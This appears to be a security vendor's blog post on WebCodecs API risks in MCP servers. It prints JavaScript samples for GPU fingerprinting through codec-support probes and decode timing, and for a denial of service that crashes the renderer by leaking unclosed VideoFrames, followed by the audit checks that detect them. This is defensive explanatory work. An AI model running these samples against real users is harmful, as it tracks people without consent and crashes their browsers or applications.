MCP Server Security · WebCodecs API · VideoDecoder · AudioDecoder · Codec Fingerprinting · Decode Timing Oracle · GPU Memory Exhaustion · VideoFrame · Hardware Side Channel

MCP server WebCodecs API security

The WebCodecs API (Chrome 94+, Firefox 130+, Safari 16.4+) provides low-level video and audio codec access — VideoDecoder, AudioDecoder, VideoEncoder, VideoFrame — with no permission dialog and no Permissions-Policy directive. MCP tool output can use isConfigSupported() to fingerprint the user's GPU model via hardware codec support, measure decode throughput to create a stable hardware timing fingerprint, exhaust GPU memory with unclosed VideoFrame objects, and infer content structure through hardware decode latency side channels.

WebCodecs API surface

// WebCodecs API — Chrome 94+, Firefox 130+, Safari 16.4+, Edge 94+
// No permission dialog. No Permissions-Policy directive.
// Available in main frame, Web Workers, and Dedicated Workers.

// Check whether a specific codec configuration is hardware-accelerated
const videoSupport = await VideoDecoder.isConfigSupported({
  codec: 'hvc1.1.6.L123.B0',    // H.265/HEVC Main profile level 4.1
  hardwareAcceleration: 'prefer-hardware'
});
// {supported: true, config: {...}} on NVIDIA RTX 30+, Apple Silicon, Intel Arc
// {supported: false} on older Intel iGPU without HEVC hardware decode

const av1Support = await VideoDecoder.isConfigSupported({
  codec: 'av01.0.08M.08',       // AV1 Main profile level 4.0
  hardwareAcceleration: 'prefer-hardware'
});
// {supported: true} only on Intel 11th gen+, NVIDIA Turing+, AMD RDNA2+

// Decode video frames at low level
const decoder = new VideoDecoder({
  output: (frame) => {
    // frame is a VideoFrame — MUST call frame.close() or it leaks GPU memory
    const timestamp = frame.timestamp;
    frame.close();    // critical — failure to close leaks GPU-mapped memory
  },
  error: (e) => console.error(e)
});

decoder.configure({
  codec: 'avc1.42001E',   // H.264 Baseline profile level 3.0
  codedWidth: 1920,
  codedHeight: 1080,
  hardwareAcceleration: 'prefer-hardware'
});

GPU memory ownership: VideoFrame objects hold references to GPU-mapped memory. Each frame must be explicitly closed via frame.close(). Failure to close frames leaks GPU memory — even when the JS object is garbage collected, the underlying GPU buffer may not be immediately freed. A tool that creates many frames without closing them can exhaust the GPU memory allocator.

Attack 1 — codec fingerprinting via isConfigSupported()

Hardware video codec support is highly GPU-specific. The presence or absence of hardware acceleration for a given codec+profile+level combination is a high-entropy identifier of the user's GPU model and driver version. By probing a matrix of codec configurations, an MCP tool can narrow the user's GPU to within a few models — often a unique identifier when combined with screen resolution and other signals.

// GPU fingerprinting via codec support matrix
// Each codec+profile+level+hardware combination is GPU-specific

async function fingerprintGPU() {
  const probes = [
    // H.265/HEVC — hardware decode varies significantly by GPU generation
    { codec: 'hvc1.1.6.L93.B0',  label: 'H265-L31-hw' },
    { codec: 'hvc1.1.6.L123.B0', label: 'H265-L41-hw' },
    { codec: 'hvc1.2.4.L120.B0', label: 'H265-Main10-hw' },
    // AV1 — hardware decode requires 2020+ GPU
    { codec: 'av01.0.08M.08', label: 'AV1-L40-hw' },
    { codec: 'av01.0.12M.10', label: 'AV1-L50-10bit-hw' },
    // VP9 — broadly supported but hardware profile varies
    { codec: 'vp09.02.10.10.01', label: 'VP9-Profile2-hw' },
    // H.264 — nearly universal but max resolution varies
    { codec: 'avc1.640034', label: 'H264-High-L52-hw' },
  ];

  const results = {};
  for (const probe of probes) {
    const r = await VideoDecoder.isConfigSupported({
      codec: probe.codec,
      hardwareAcceleration: 'prefer-hardware'
    });
    results[probe.label] = r.supported;
    // Also check software fallback to distinguish "no hardware" from "not supported at all"
    const sw = await VideoDecoder.isConfigSupported({
      codec: probe.codec,
      hardwareAcceleration: 'prefer-software'
    });
    results[probe.label + '-sw'] = sw.supported;
  }
  // The bit vector of results uniquely identifies GPU model in most cases
  return results;
}

The combination of H.265 hardware support (requires dedicated GPU in most pre-2023 systems), AV1 hardware support (requires Intel 11th gen+, NVIDIA Turing+, AMD RDNA2+ for hardware decode), and VP9 profile 2 hardware support produces a fingerprint that differs between GPU generations and manufacturers. On Apple Silicon, all three are supported by the Neural Engine and Media Engine — distinguishing it from all Intel/AMD configurations.

Attack 2 — decode throughput as timing fingerprint

Hardware video decoders have throughput limits determined by their ASIC design. Decoding a fixed number of frames and measuring wall-clock time produces a measurement that is stable across browser sessions, resistant to JavaScript timing mitigations, and varies between GPU models by 5–20×.

// GPU timing fingerprint via decode throughput measurement
// Different GPU models decode the same content at significantly different speeds

async function measureDecodeThroughput() {
  let framesDecoded = 0;

  const decoder = new VideoDecoder({
    output: (frame) => { framesDecoded++; frame.close(); },
    error: () => {}
  });

  decoder.configure({
    codec: 'avc1.640034',     // H.264 High Level 5.2 — stresses the decoder
    codedWidth: 3840,
    codedHeight: 2160,        // 4K resolution
    hardwareAcceleration: 'prefer-hardware'
  });

  // Create synthetic H.264 IDR frames (or use pre-encoded test sequence)
  const syntheticFrame = createSyntheticH264IDRFrame(3840, 2160);
  const FRAME_COUNT = 50;

  const t0 = performance.now();
  for (let i = 0; i < FRAME_COUNT; i++) {
    decoder.decode(new EncodedVideoChunk({
      type: 'key',
      timestamp: i * 33333,    // 30fps timestamps
      data: syntheticFrame
    }));
  }
  await decoder.flush();
  const elapsed = performance.now() - t0;

  decoder.close();

  return {
    fps: (FRAME_COUNT / elapsed) * 1000,
    elapsed_ms: elapsed,
    // Maps to GPU tier: <30fps = iGPU, 30-120fps = mid, >120fps = high-end dGPU
  };
}

Attack 3 — GPU memory exhaustion via unclosed VideoFrames

Creating VideoFrame objects from canvas or ImageBitmap sources allocates GPU-mapped memory. If an MCP tool creates many large frames without calling .close(), the GPU memory allocator is exhausted. Unlike CPU heap, GPU memory exhaustion typically crashes the renderer process rather than triggering graceful garbage collection, because the GPU driver does not support paging of video memory in the same way the OS does for RAM.

// Attack: exhaust GPU memory via unclosed VideoFrames
// Each 4K VideoFrame uses ~32 MB of GPU memory (4×3840×2160×4 bytes)
// Creating 32 without closing = ~1 GB GPU memory allocated → crash

const canvas = document.createElement('canvas');
canvas.width = 3840;
canvas.height = 2160;
const ctx = canvas.getContext('2d');
ctx.fillRect(0, 0, 3840, 2160);  // fill with something

const frames = [];
for (let i = 0; i < 100; i++) {
  // Each createImageBitmap + VideoFrame pair allocates GPU-mapped texture
  const bitmap = await createImageBitmap(canvas);
  const frame = new VideoFrame(bitmap, { timestamp: i * 33333 });
  frames.push(frame);  // hold reference — no .close() called
  bitmap.close();

  // After ~30-50 frames on most GPUs: renderer crashes (OOM)
  // On Electron: entire application window crashes
}

// Frames never closed — GPU memory not freed until browser process terminates

What SkillAudit checks

HIGH
Codec fingerprinting matrix: multiple isConfigSupported() calls with varying hardware codec configs — systematic probing of H.265, AV1, VP9 hardware decode support to derive GPU model/generation; produces high-entropy cross-session device identifier without any permission.
HIGH
VideoFrame without close(): GPU memory leak leading to renderer crash — VideoFrame or ImageBitmap objects created in a loop without explicit .close() calls exhaust GPU memory and crash the browser tab or Electron application window.
MEDIUM
Decode throughput timing measurement: performance.now() around decoder.flush() — measuring time to decode a fixed number of frames reveals hardware decode throughput, a stable and high-entropy device fingerprint across browser sessions.
MEDIUM
Large VideoDecoder queue without backpressure — submitting hundreds of EncodedVideoChunk objects to VideoDecoder.decode() without consuming output frames fills the decoder's internal queue, causing GPU command buffer overflow and possible renderer instability.
LOW
hardwareAcceleration: 'require-hardware' with no software fallback — may throw on devices without hardware support for the configured codec, causing unhandled decoder errors that surface in the MCP host console.

Browser support

Browser / RuntimeWebCodecs supportWorkersPermissions-Policy
Chrome 94+Full — VideoDecoder, AudioDecoder, VideoEncoder, AudioEncoder, VideoFrame, ImageDecoderDedicated WorkersNone
Edge 94+Full (Chromium)Dedicated WorkersNone
Firefox 130+VideoDecoder, AudioDecoder (encode in progress)LimitedNone
Safari 16.4+VideoDecoder, AudioDecoder, VideoEncoder, VideoFrameDedicated WorkersNone
Electron (all post-Cr94)Full — highest risk (no GPU sandbox for MCP clients)AllNone
Audit your MCP server →

Related: FileSystemObserver API security · OPFS deep dive · Compression Streams deep dive · All security posts